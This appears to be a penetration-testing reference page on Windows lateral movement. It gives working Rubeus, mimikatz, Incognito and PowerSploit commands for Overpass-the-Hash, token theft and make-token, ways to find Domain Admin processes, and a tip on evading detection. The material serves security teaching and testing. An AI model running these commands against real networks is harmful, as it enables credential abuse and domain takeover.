# Overpass-the-Hash and Token Impersonation

- **URL:** https://hackindex.io/platforms/windows/lateral-movement/overpass-the-hash-and-token-impersonation
- **Path:** Windows > Lateral Movement
- **Up:** [Lateral Movement](https://hackindex.io/platforms/windows/lateral-movement.md)
- **Published:** 2026-04-04
- **Updated:** 2026-07-10

Overpass-the-Hash converts an NTLM hash into a Kerberos ticket and uses that ticket to authenticate to services that require Kerberos rather than NTLM. Token impersonation reuses tokens from processes already running as other users on the same host to move into their identity context. Both techniques build on credentials or tokens already present in memory rather than needing new credential material.

## Overpass-the-Hash

Standard Pass-the-Hash works over NTLM. In environments where NTLM is disabled or blocked for certain services, you need a Kerberos TGT instead. Overpass-the-Hash takes an NT hash and requests a real TGT from the domain controller using that hash as the key.

**Overpass-the-Hash with Rubeus**

```powershell
# Request TGT using NT hash: loads ticket into current session
C:\Windows\Temp\Rubeus.exe asktgt /user:$USER /domain:$DOMAIN /rc4:$NTHASH /ptt

# Using AES256 key instead of NT hash (less detectable)
C:\Windows\Temp\Rubeus.exe asktgt /user:$USER /domain:$DOMAIN /aes256:$AES256KEY /ptt

# Verify ticket loaded
klist

# Now use Kerberos-authenticated tools
dir \\$TARGET_IP\C$
PsExec.exe \\$TARGET_IP cmd.exe
```

**Overpass-the-Hash with mimikatz**

```powershell
# Inject hash and spawn a process with Kerberos ticket
mimikatz.exe "sekurlsa::pth /user:$USER /domain:$DOMAIN /ntlm:$NTHASH /run:powershell.exe" exit

# In the spawned PowerShell, request a TGT
# The Kerberos ticket is automatically fetched on first use
dir \\dc01.$DOMAIN\SYSVOL
```

## Token impersonation for lateral movement

Windows access tokens represent the security context of a process or thread. If a privileged user has a process running on the host you control, you can duplicate their token and run commands in their context without needing their credentials. Prerequisites:

- `SeImpersonatePrivilege` on the current account
- `SeAssignPrimaryTokenPrivilege` on the current account
- Local administrator access (grants both privileges implicitly)

**Token impersonation with Incognito**

```powershell
# List available tokens (requires admin or SeDebugPrivilege)
C:\Windows\Temp\incognito.exe list_tokens -u

# Impersonate a specific token and run a command
C:\Windows\Temp\incognito.exe execute -c "$DOMAIN\$USER" cmd.exe

# Impersonate and check identity
C:\Windows\Temp\incognito.exe execute -c "$DOMAIN\Domain Admin" cmd.exe /c whoami
```

**Token impersonation with Rubeus and PowerShell**

```powershell
# List all tokens via PowerShell
[System.Security.Principal.WindowsIdentity]::GetCurrent()

# Steal token from a specific process PID using PowerSploit
Import-Module .\PowerSploit.ps1
Invoke-TokenManipulation -ImpersonateUser -Username "$DOMAIN\$USER"

# Or use native .NET
$proc = Get-Process -Name 'target_process'
$handle = $proc.Handle
# Token duplication requires P/Invoke: use a dedicated tool
```

## Finding tokens worth stealing

Before impersonating, identify which valuable accounts have processes running on the current host.

**Find high-value processes to impersonate**

```powershell
# List all processes with their owner
Get-Process -IncludeUserName | Select-Object Name, Id, UserName | Sort-Object UserName

# Filter for domain admin processes
Get-Process -IncludeUserName | Where-Object {$_.UserName -like "*Domain Admins*" -or $_.UserName -like "*Administrator*"}

# tasklist with owners
tasklist /v | findstr /i "domain admin administrator"
```

## Make-Token: creating tokens from credentials

If you have plaintext credentials for an account but are running under a different identity, you can create a new logon session with those credentials without spawning a new process.

**runas with credentials**

```powershell
# Spawn process as different user
runas /user:$DOMAIN\$USER "cmd.exe"

# Non-interactive: create logon session in memory
$cred = New-Object System.Management.Automation.PSCredential("$DOMAIN\$USER", (ConvertTo-SecureString $PASSWORD -AsPlainText -Force))
Start-Process cmd.exe -Credential $cred

# Cobalt Strike / Sliver equivalent concept: make_token
# make_token DOMAIN\user password
```

Token impersonation as a privilege escalation technique from a low-privilege service account is covered in [Windows Access Token Manipulation for Privilege Escalation](https://hackindex.io/platforms/windows/privilege-escalation/access-token-manipulation). For using the acquired Kerberos tickets for persistence beyond their natural lifetime see [Golden and Silver Ticket Persistence](https://hackindex.io/platforms/windows/persistence/windows-golden-and-silver-ticket-persistence).

## References

- [Rubeus: GhostPack GitHub](https://github.com/GhostPack/Rubeus) - asktgt, ptt, and Kerberos ticket operations
- [mimikatz: GitHub](https://github.com/gentilkiwi/mimikatz) - sekurlsa::pth and token manipulation reference